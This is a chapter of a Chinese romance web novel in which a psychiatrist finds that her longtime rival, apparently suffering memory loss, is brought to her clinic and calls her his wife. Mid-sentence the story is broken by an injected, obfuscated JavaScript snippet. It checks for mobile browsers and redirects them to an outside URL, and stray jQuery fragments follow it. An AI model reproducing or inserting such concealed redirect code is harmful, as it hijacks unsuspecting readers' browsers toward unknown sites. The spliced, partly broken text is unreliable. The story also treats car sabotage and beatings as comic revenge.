盛夏七月,榆阳市气温逐渐升高,连续两三天温度直达三十多度。康德医院精神科门诊里充斥着消毒水的刺鼻味儿,林惊鹿穿着白大褂戴着医用口罩,坐在椅子上,耐心地倾听着对面的患者阐述自身症状。
“情绪高涨、过度自信、睡眠需求少,且刚过抑郁期没多久并持续一周以上。”
“这是典型的双相中的轻狂躁发作。”
林惊鹿有条不紊的分析着病况,指尖不断在电脑键盘上快速敲击,录入好信息,侧头凝视那位患者,嗓音柔和,“你别怕,我给你开药,你只需要按时吃药就好。”言罢,她把打印出来的药物清单递给患者,还顺带帮忙指了路。
做完这一系列流程将其送走后,林惊鹿才疲倦地吐出一口气,重新坐回椅子上摘下口罩,露出一张清秀白净的脸,回眸望一眼空荡荡的诊室门口,心里是憋不住的火气。
一个人都没有。
明明在几天前她的门诊室外还有很多患者排队等着让她看病。
一想到罪魁祸首那欠扁的笑容,林惊鹿的怒火蹭蹭往上涨,偏偏还无处发泄,只能拿过搁置在桌面上的病历本整理起来试图转移注意力。
直到一阵猛烈又刺耳的电话铃声划破寂静。
林惊鹿动作微顿,手一松,病历本哗啦啦地摔在桌上。她无视地掏出手机,垂眼草草地看了下来电显示,是她的好友江之夏。
电话一接通,那边就传来一道清晰的女声:
“林大小姐,你现在搁哪儿呢?出来玩啊。”江之夏语气含着笑意,静了几秒,突然调侃了句,“该不会还在精神病院吧?大小姐真敬业啊。”
林惊鹿:“……”
“胡说什么。”她头疼,严肃纠正,“那叫康德医院,是精神科门诊。”
“行行行,精神科门诊。”江之夏敷衍回应,顺着她念了一声,貌似对这一点都不在意,“真不知道你为什么放着好端端的千金大小姐不当,偏要去做什么精神科医生。”
林惊鹿眉眼间浮现出无奈之意,心知因为职业这事儿她遭受过很多异样的眼神和背后的议论。在这社会上,精神科医生就等于和精神病、疯子等污名词汇挂钩,而这些词汇本身就是不被大部分人容纳的,甚至有时候有人还会因对患者的偏见而把事实扭曲成她也是个疯子。
她懒得去和那些人计较,做好自己的事比什么都重要。
“这也是个值得被人尊重的职业呀。”林惊鹿把手机放在一边,又认真地把病历本整理好放回原位,笑意盈盈,“而且我不是干的好好的吗,前几天我诊室门口人都挤满了,我忙得不得了。”
江之夏开起玩笑,“哟呵,一刻也不愿闲着,一工作起来就发了狠忘了情是吧。”
“……”
“对了,你那边还有人吗?”江之夏话锋一转,声线透着明显的担忧,“那家伙前段时间故意来你诊室捣乱,害得你连着好几天都没法专心给患者看病了,名誉受损,都没什么人来找你就诊了。”
提到这事儿,林惊鹿努力维持着完美的假笑,声音却几乎是从牙缝里挤出来的,“我很好,我没事,非常棒。”
江之夏:?
空气凝滞了十几秒,她罕见的有些小心的确认:“真的没事?”
“真的没事。”
林惊鹿重复了遍,故作大方地挥手,“谁叫我有一个死对头呢。”
是的,她有一个死对头,名叫商屿。
身为顶级豪门之一的林家大小姐,林惊鹿从小就被要求要琴棋书画样样精通,要举止得体、要优雅礼貌,她做是做到了,不过都是些表面功夫为了应付父母和那些所谓的规矩罢了。可是不论她面上装得多么完美,只要一遇到商屿绝对一秒破功。
他吐出的话总是能精准的踩中她的雷点,且反复在上面蹦迪,还不忘加一个托马斯旋转。
她没学过他的毒舌技巧,也不像他混账话张口就来,她属于那种只做不说类型的。
从幼儿园时期争抢大人宠爱、小学时期争取各班的优秀班级奖、初高中比试成绩、大学直接形同陌路她还得在背后说几句坏话,用朋友的话来讲就是两人对视一眼火花子都噼里啪啦的往外冒,大学毕业过后他俩依然看对方不顺眼,战争也升级了,来到了社会层面。
于是,就有了刚刚那一幕。
“就算是死对头好像也不该那么仇恨吧。”江之夏啧啧摇头,“不知道的还以为他是你杀父仇人呢,小鹿子,上次那事儿你做得够狠的了。人家商屿去赛车场和兄弟赛车,我当时还过去看戏了呢,见你主动给他送水,以为你良心发现了。”
林惊鹿托着腮,漫不经心的注视着通话界面,笑:“是不是没想到我会在他的赛车上动手脚?”
“……确实没想到,商屿差点没了命,你就不怕他真交代在那儿了?”
“他什么德行我比他妈都清楚。”林惊鹿偏头嗤笑,笃定极了,“他死不了,顶多就是让他在病床上躺了几个月而已。”她声音慢吞吞的,却透着股深刻的狠劲儿:“谁让他惹我的。”
要是不对对方狠,那还叫死对头吗?
她还觉得自己手下留情了呢。
结果这货刚痊愈,也不长记性就来复仇,隔三差五来医院捣乱,害她没法好好给人看病,随着时间流逝,来她这里看病的患者的确顺了商屿的意在逐步减少,最后她忍无可忍把人狠狠揍一顿又给打回骨科医院了。
“我觉得打轻了。”林惊鹿紧绷着脸,煞有其事的说:“他只是被我打得半身不残,我可是一连好几天丢了好几个患者啊,试问哪个更严重?”
那肯定是她啊。
林惊鹿一张小嘴叭叭叭的,还想继续把商屿干的所有蠢事全盘托出,可还没说几个字儿,门诊室外蓦然传来不小的骚动,还伴随着几道急促的脚步声和激烈挣扎的拉扯声,正往这边逼近。
她眉头紧皱,挂断电话后起身走到诊室门口,见有几个护士匆匆忙忙地路过,随便抓了一个好奇的问:“这是怎么了,发生什么事了?怎么都这么着急?”
“林姐,医院里来了个新的精神病患者。”护士看到她明显惊了一下,像是想到了什么不好的事情,表情徒然怪异起来,“好几个保安合力都拉不住他,劲儿大得很,嘴里念叨着要找人,跟个疯子似的。”
“林姐,你赶紧跟来看看吧!”
“找人?疯子?”林惊鹿觉得该轮到她上场了,整理了下白大褂,正经地咳嗽一声,“走,咱们去看看这是怎么回事。”
根据护士描述的疯子形象,她初步断定可能是患者出现类似幻觉的情况才会变得如此疯癫,问题不大,开个药还是能稳定的。
林惊鹿越想越自信,脚步都加快了几分。
走廊尽头的拐角处走来一众人,几个穿着保安制服的男人用力扣押着一抹身影朝这儿走来,左右两边还有三名警察相伴,虽然神色还算自然,但眼里的警惕却是藏也没藏地落在那身影上,如同在看什么大麻烦一样。
林惊鹿目光紧紧锁定在那道熟悉的身影上,眯起眼来。
那道身影身子高大,估摸着得一米八五以上,额头前的碎发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342726|199429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
垂落下来遮住眸底情绪,眉骨优越,面容轮廓锋利,薄唇紧抿,西装上方有两颗纽扣被崩掉,露出内搭的白衬衫,衣领褶皱,领带也被撕扯得东倒西歪的,不成样子。
仔细看去,他一只大手还落在其中一个保安的后脖领处,看似是个普通的举动却带着不容小觑的狠戾。果不其然,下一秒那保安直接被他提了起来,他嗓音很沉,压抑着怒火,“我再问一遍,我老婆呢?你们把我老婆藏哪儿了?你们到底是谁?为什么要带我来这儿?!”
几乎是把对方提起来的那一秒,其他保安连忙发力死死扣住男人的后背往下按,费了很大力才让他松手。
这熟悉的声音,熟悉的模样,熟悉的作风。
除了商屿,林惊鹿恐怕这辈子都找不出第二人了。只是……她步伐没停,端详起男人的容貌。为什么感觉有点不一样了呢?难道护士说的新精神病患者就是他?
不管怎么样,就他现在这狼狈样儿,她得笑他十年!可算是让她找到把柄了!她得拍下来等事后好好嘲笑一番。
她边走边掏手机,就又听到警察的大嗓门响起,“这位先生,您先冷静一下!马上就到了,我们肯定会帮您找到您老婆的,请您不要激动,跟我们走就是了!”
开什么玩笑,找老婆来精神科诊室找?
医生又不是他老婆。
林惊鹿心中吐槽,这警察就算要安抚男人的情绪也不能找这么离谱的借口吧?
等等。
她脚步一顿。
商屿和她同龄,性子有时候比她还幼稚,最主要的是他几天前才被她打回骨科医院,到现在没准还在病床上鬼哭狼嚎,怎么可能结婚还有老婆了?
警察余光注意到林惊鹿,像是看到了救星一样,急忙抬手招呼,“医生,可算是来了!你快来看看这人儿,是不是患了什么精神病,一大早就在街上发疯要找老婆!”
“是啊医生,我们也是没辙了,怎么说都不听,一开始几个保安都按不住他,还是我们答应他帮他找老婆才肯听话的!现在到了医院,还没过来呢,又闹腾起来了!”
不会是被她打傻了吧?那她可不负责的。
林惊鹿一步步走到男人不远处,上下打量了他一番,黛眉紧蹙。模样确实是商屿的模样,可是不知道是不是她的错觉,她总觉得面前这人看起来成熟了很多,居然比前几天她在诊室里看到的那来捣乱的蠢货要顺眼。
但这也阻挡不了她想要讽刺对方的冲动。
“商屿,你是不是脑子有病?”她面露嫌弃,一出声就毫不留情,张口就骂。
原本还在挣扎着要找老婆的男人瞬时僵住,声音戛然而止,整个人仿佛被定格了般顿在原地,几秒过后,他缓缓抬头,视线从下往上看,直到落在她的脸上才停住,墨色眼瞳里还残余着让人胆寒的暴戾,慢慢融化成了林惊鹿觉得一辈子都不可能在商屿眼里出现的狂喜和一丝很浅的依赖。
“……”真的被打傻了吗?
“你别用那种眼神看我……”林惊鹿惯性的想要骂回去,“恶心”这个词还没来得及说出来,一阵滚烫的气息席卷而至,紧接着就是被拉入一个灼热的怀抱,力度大得她险些要喘不过气来。
突如其来的拥抱,彻底让林惊鹿愣在了原地,大脑一片空白。
男人委屈的声音钻入她的耳朵里,对她告起状来,“老婆!我终于找到你了,他们都欺负我!”
老、老婆?!
林惊鹿傻了眼。
砰——地一声,汽水易拉罐被捏爆的动静突兀地从后炸开。